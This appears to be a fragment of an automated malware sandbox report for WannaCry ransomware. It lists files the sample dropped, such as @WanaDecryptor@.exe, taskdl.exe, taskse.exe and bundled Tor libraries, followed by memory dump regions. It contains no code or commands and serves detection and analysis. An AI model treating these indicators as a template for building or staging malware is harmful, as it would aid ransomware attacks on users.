C:\Users\Admin\AppData\Local\Temp\u.wnry
-
C:\Users\Admin\Desktop\@WanaDecryptor@.bmp
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
\Users\Admin\AppData\Local\Temp\TaskData\Tor\libeay32.dll
-
\Users\Admin\AppData\Local\Temp\TaskData\Tor\libevent-2-0-5.dll
-
\Users\Admin\AppData\Local\Temp\TaskData\Tor\libgcc_s_sjlj-1.dll
-
\Users\Admin\AppData\Local\Temp\TaskData\Tor\libssp-0.dll
-
\Users\Admin\AppData\Local\Temp\TaskData\Tor\ssleay32.dll
-
\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
-
\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
-
\Users\Admin\AppData\Local\Temp\TaskData\Tor\zlib1.dll
-
\Users\Admin\AppData\Local\Temp\taskdl.exe
-
\Users\Admin\AppData\Local\Temp\taskdl.exe
-
\Users\Admin\AppData\Local\Temp\taskdl.exe
-
\Users\Admin\AppData\Local\Temp\taskdl.exe
-
\Users\Admin\AppData\Local\Temp\taskdl.exe
-
\Users\Admin\AppData\Local\Temp\taskdl.exe
-
\Users\Admin\AppData\Local\Temp\taskdl.exe
-
\Users\Admin\AppData\Local\Temp\taskdl.exe
-
\Users\Admin\AppData\Local\Temp\taskdl.exe
-
\Users\Admin\AppData\Local\Temp\taskdl.exe
-
\Users\Admin\AppData\Local\Temp\taskse.exe
-
\Users\Admin\AppData\Local\Temp\taskse.exe
-
\Users\Admin\AppData\Local\Temp\taskse.exe
-
\Users\Admin\AppData\Local\Temp\taskse.exe
-
\Users\Admin\AppData\Local\Temp\taskse.exe
-
\Users\Admin\AppData\Local\Temp\taskse.exe
-
\Users\Admin\AppData\Local\Temp\taskse.exe
-
\Users\Admin\AppData\Local\Temp\taskse.exe
-
memory/432-763-0x0000000000000000-mapping.dmp
-
memory/676-4-0x0000000010000000-0x0000000010010000-memory.dmpFilesize
64KB
-
memory/792-1-0x0000000000000000-mapping.dmp
-
memory/872-0-0x0000000000000000-mapping.dmp
-
memory/920-708-0x0000000000000000-mapping.dmp
-
memory/1048-79-0x0000000002FB0000-0x0000000002FC1000-memory.dmpFilesize
68KB
-
memory/1048-242-0x0000000002BA0000-0x0000000002BB1000-memory.dmpFilesize
68KB
-
memory/1048-411-0x00000000034A0000-0x00000000034B1000-memory.dmpFilesize
68KB
-
memory/1048-410-0x00000000038B0000-0x00000000038C1000-memory.dmpFilesize
68KB
-
memory/1048-409-0x00000000034A0000-0x00000000034B1000-memory.dmpFilesize
68KB
-
memory/1048-244-0x0000000002BA0000-0x0000000002BB1000-memory.dmpFilesize
68KB
-
memory/1048-243-0x0000000002FB0000-0x0000000002FC1000-memory.dmpFilesize
68KB
-
memory/1048-78-0x0000000002BA0000-0x0000000002BB1000-memory.dmpFilesize
68KB
-
memory/1048-80-0x0000000002BA0000-0x0000000002BB1000-memory.dmpFilesize
68KB
-
memory/1048-64-0x0000000000000000-mapping.dmp
-
memory/1108-734-0x0000000000000000-mapping.dmp
-
memory/1204-775-0x0000000000000000-mapping.dmp
-
memory/1412-59-0x0000000000000000-mapping.dmp
-
memory/1412-58-0x0000000000000000-mapping.dmp
-
memory/1440-704-0x0000000000000000-mapping.dmp
-
memory/1456-718-0x0000000000000000-mapping.dmp
-
memory/1476-730-0x0000000000000000-mapping.dmp
-
memory/1556-726-0x0000000000000000-mapping.dmp
-
memory/1568-716-0x0000000000000000-mapping.dmp
-
memory/1568-722-0x0000000002310000-0x0000000002311000-memory.dmpFilesize
4KB
-
memory/1588-712-0x0000000000000000-mapping.dmp
-
memory/1608-771-0x0000000000000000-mapping.dmp
-
memory/1800-703-0x0000000000000000-mapping.dmp
-
memory/1856-41-0x0000000000000000-mapping.dmp
-
memory/1860-738-0x0000000000000000-mapping.dmp
-
memory/1872-43-0x0000000000000000-mapping.dmp
-
memory/1896-705-0x0000000000000000-mapping.dmp
-
memory/1908-49-0x00000000026E0000-0x00000000026E4000-memory.dmpFilesize
16KB
-
memory/1908-45-0x0000000000000000-mapping.dmp
-
memory/1912-767-0x0000000000000000-mapping.dmp
-
memory/1952-779-0x0000000000000000-mapping.dmp
-
memory/2000-721-0x0000000000000000-mapping.dmp
-
memory/2012-55-0x0000000000000000-mapping.dmp
-
memory/2032-53-0x0000000000000000-mapping.dmp